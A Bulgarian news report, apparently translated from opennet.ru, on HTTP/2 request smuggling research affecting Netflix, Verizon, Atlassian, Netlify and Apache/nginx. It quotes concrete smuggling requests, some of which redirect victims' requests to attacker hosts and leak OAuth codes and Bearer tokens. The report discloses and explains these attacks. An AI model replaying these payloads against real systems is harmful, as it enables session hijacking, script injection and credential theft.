Уеб системи, в които фронтендът приема връзки по HTTP/2 и предава на бекенд по HTTP/1.1, се оказаха подложени на нов вариант на атаката "HTTP Request Smuggling", която позволява чрез изпращане на специално оформени клиентски заявки да се вмъкват в съдържанието на запросите на други потребители, обработвани в същия поток между фронтенда и бекенда. Атаката може да бъде използвана за вмъкване на злонамерен JavaScript код в сесията с легитимен сайт, заобикаляне на системите за контрол на достъпа и прихващане на параметри за аутентификация.
Проблемите засягат уеб проксита, балансьори на натоварването, уеб акселератори, системи за доставка на съдържание и други конфигурации, в които заявките се пренасочват по схемата фронтенд-бекенд. Авторът на изследването демонстрира възможността за атака върху системи на Netflix, Verizon, Bitbucket, Netlify CDN и Atlassian, и получи 56 хиляди долара в програмите за възнаграждение при откриването на уязвимости. Наличието на проблем също е потвърдено в продуктите на F5 Networks. Частично проблемът засяга mod_proxy в http-сервера Apache (CVE-2021-33193), като корекциите се очакват във версия 2.4.49 (разработчиците бяха уведомени за проблема в началото на май и получиха 3 месеца за корекция). В nginx възможността за едновременна посочване на заглавията „Content-Length“ и „Transfer-Encoding“ беше блокирана в последното издание (1.21.1). Инструментите за извършване на атаки вече са добавени в инструментариума на Burp и са налични под формата на разширение Turbo Intruder.
Принципът на новия метод за вмъкване на заявки в трафика е аналогичен на уязвимостта, открита от същия изследовател преди две години, но е ограничен до фронтендове, които приемат заявки по HTTP/1.1. Напомняме, че в схемата фронтенд-бекенд заявки от клиентите приема допълнителен възел — фронтенд, който установява дълготрайна TCP-свързаност с бекенда, изпълняващ непосредствена обработка на заявките. През това общо свързване обичайно се предават заявки от различни потребители, които следват в редица една след друга, разделени чрез средствата на протокола HTTP.
Класическата атака «HTTP Request Smuggling» се основава на факта, че фронтендите и бекендите интерпретират по различен начин използването на HTTP заглавията «Content-Length» (определя общия размер на данните в заявката) и «Transfer-Encoding: chunked» (позволява прехвърляне на данни на парчета). Например, ако фронтендът поддържа само «Content-Length», но игнорира «Transfer-Encoding: chunked», атакуващият може да изпрати заявка, в която едновременно са посочени заглавията «Content-Length» и «Transfer-Encoding: chunked», но размерът в «Content-Length» не съответства на размера на chunked веригата. В този случай фронтендът ще обработи и пренасочи заявката в съответствие с «Content-Length», а бекендът ще очаква завършване на блока на базата на «Transfer-Encoding: chunked» и останалата част от заявката на атакуващия ще се окаже в началото на чуждата заявка, предадена след това.
В отличие от текстовия протокол HTTP/1.1, чиято обработка се извършва на ниво редове, HTTP/2 е двоичен протокол и манипулира блокове данни с предварително зададен размер. В HTTP/2 се използват псевдографове, които съответстват на стандартните заглавия на HTTP. При взаимодействие с бекенда чрез протокол HTTP/1.1, фронтендът преобразува тези псевдографи в аналогични заглавия на HTTP/1.1. Проблемът е, че бекендът взема решения за обработка на потока на базата на зададените от фронтенда заглавия на HTTP, без да разполага с информация за параметрите на първоначалната заявка.
Включително в формата на псевдо-заглавия могат да бъдат предадени стойности на «content-length» и «transfer-encoding», въпреки че те не се използват в HTTP/2, тъй като размерът на всички данни се определя в отделно поле. Въпреки това, в процеса на преобразуване на HTTP/2 заявка в HTTP/1.1, тези заглавия се пренасят и могат да заблудят бекенда. Изолирани са два основни варианта на атака: H2.TE и H2.CL, при които бекенда е заблуден от некоректна стойност на transfer-encoding или content-length, която не съответства на реалния размер на тялото на заявката, получена от фронтенда по протокола HTTP/2.
Като пример за атака H2.CL се посочва указването на некоректен размер в псевдо-заглавието content-length при изпращане на HTTP/2 заявка към Netflix. Тази заявка води до добавяне на аналогично HTTP заглавие Сontent-Length при връзка с бекенда по HTTP/1.1, но тъй като размерът в Сontent-Length е посочен по-малък от действителния, част от данните в края се обработват като начало на следващата заявка.
Например, HTTP/2 заявка :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Ще доведе до изпращане на запитване към бекенда: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Тъй като Content-Length има стойност 4, бекендът ще възприеме като тяло на запитването само «abcd», а останалата част «GET /n HTTP/1.1…» ще обработи като начало на следващото запитване, свързано с друг потребител. Съответно, ще настъпи разсинхронизация на потока и в отговор на следващото запитване ще бъде предоставен резултат от обработката на подставното запитване. В случая с Netflix, указването на външен хост в заглавието «Host:» в подставното запитване доведе до извеждане на отговор на клиента «Location: https://02.rs?x.netflix.com/n» и позволи предаването на произволно съдържание на клиента, включително изпълнението на собствен JavaScript код в контекста на сайта Netflix.
Вторият вариант на атаката (H2.TE) е свързан с подмяна на заглавието "Transfer-Encoding: chunked". Използването на псевдо-заглавие transfer-encoding в HTTP/2 е забранено от спецификацията и заявките с него трябва да се считат за некоректни. Въпреки това, някои реализации на фронтендите не вземат предвид това изискване и позволяват използването на псевдо-заглавие transfer-encoding в HTTP/2, което се преобразува в аналогично заглавие в HTTP. При наличие на заглавие "Transfer-Encoding" бекендът може да го приеме за по-приоритетно и да извърши парсиране на данните на части в режим "chunked" с използване на блокове с различен размер във формата "{размер}\r\n{блок}\r\n{размер}\r\n{блок}\r\n0", независимо от първоначалното разделение по общ размер.
Наличието на подобна уязвимост беше демонстрирано на примера на компания Verizon. Проблемът се отнасяше до портала за автентикация и CMS, който също така се използва на сайтове като Huffington Post и Engadget. Например, заявката на клиента по HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Предавайки на бэкента HTTP заявка 1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Бэкентът, от своя страна, игнорира заглавието "Content-Length" и извършва разделяне в потока на базата на "Transfer-Encoding: chunked". На практика, атаката позволи пренасочване на потребителските заявки към своя сайт и включително прихващане на заявки, свързани с удостоверяване OAuth, параметрите на които светеха в заглавието Referer, както и симулиране на сесия на удостоверяване и иницииране на изпращането на системата на потребителските идентификационни данни към хоста на атакуващия. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
За атаките срещу реализации на HTTP/2, които не допускат указване на псевдо-заглавие transfer-encoding, беше предложен още един метод, свързан с подмяната на заглавието "Transfer-Encoding" чрез прикрепянето му към други псевдо-заглавия, разделени със символ на нов ред (при преобразуването в HTTP/1.1 в подобен случай се създават два отделни HTTP заглавия).
Например, посочената проблема засегнаха Atlassian Jira и Netlify CDN (използва се за предаване на началната страница на Mozilla в Firefox). По-специално, заявката HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
доведе до изпращането на заявка до бекенда с HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Друг вариант за подмяна на заглавието "Transfer-Encoding" стана прикрепването му към името на друг псевдозаглавие или към реда с метода на заявка. Например, при обращение към Atlassian Jira името на псевдозаглавието "foo: bar\r\ntransfer-encoding" с стойност "chunked" водеше до добавяне на HTTP заглавията "foo: bar" и "transfer-encoding: chunked", а указанието в псевдозаглавието ":method" стойност "GET / HTTP/1.1\r\nTransfer-encoding: chunked" се трансформираше в "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Изследователят, който е открил проблема, също така предложи техника за тунелиране на заявки за осъществяване на атаки срещу фронтенд системи, в които за всеки IP адреси Установява се отделна връзка с бекенда, а трафикът на различни потребители не се смесва. Предложената техника не позволява намесата в заявките на другите потребители, но дава възможност за отравяне на общия кеш, който влияе на обработката на други заявки, и позволява извършването на замяна на вътрешни HTTP-заглавия, използвани за предаване на служебна информация от фронтенда към бекенда (например, при удостоверяване от страна на фронтенда в подобни заглавия на бекенда може да се предадат данни за текущия потребител). Като пример за приложение на метода на практика, чрез отравяне на кеша успяхме да получим контрол над страниците в услугата Bitbucket.
Източник: opennet.ru
